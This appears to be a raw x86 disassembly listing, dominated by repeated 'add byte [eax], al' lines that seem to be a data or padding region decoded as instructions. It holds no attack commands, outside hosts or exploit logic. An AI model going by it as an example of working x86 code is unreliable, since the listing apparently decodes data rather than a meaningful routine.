add byte [eax], al
push eax
pop es
add byte [eax], al
pop es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
xchg esp, eax
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jp 0x1001f0ee
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
aam 0
add byte [eax], al
push edx
pop es
add byte [eax], al
adc eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sub al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov ah, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec edx
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add ah, dh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, 0
or byte [eax], al
add byte [esi], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ss
add byte [eax], al
add al, al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
xor eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jbe 0x1001f16e
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ss:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, cl
add byte [eax], al
add byte [ecx + 7], dl
add byte [eax], al
sldt word [eax]
add byte [eax], al
or byte [eax], al
add byte [esi], ah
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte es:[eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], ch
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], al
or byte [eax], al
add byte [esi], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, dx
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esi
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], bl
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x7540000], bl
add byte [eax], al
arpl word [eax], ax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jle 0x1001f1ee
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ds:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, bl
add byte [eax], al
add byte [edx + 7], dl
add byte [eax], al
sbb eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], bh
add byte [eax], al
push cs
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], cl
or byte [eax], al
add byte [esi], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cld
add byte [eax], al
add byte [eax + 7], ah
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ecx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
add dword [eax], 0
add byte [edx + 7], dl
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor dword [eax], eax
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
ret 0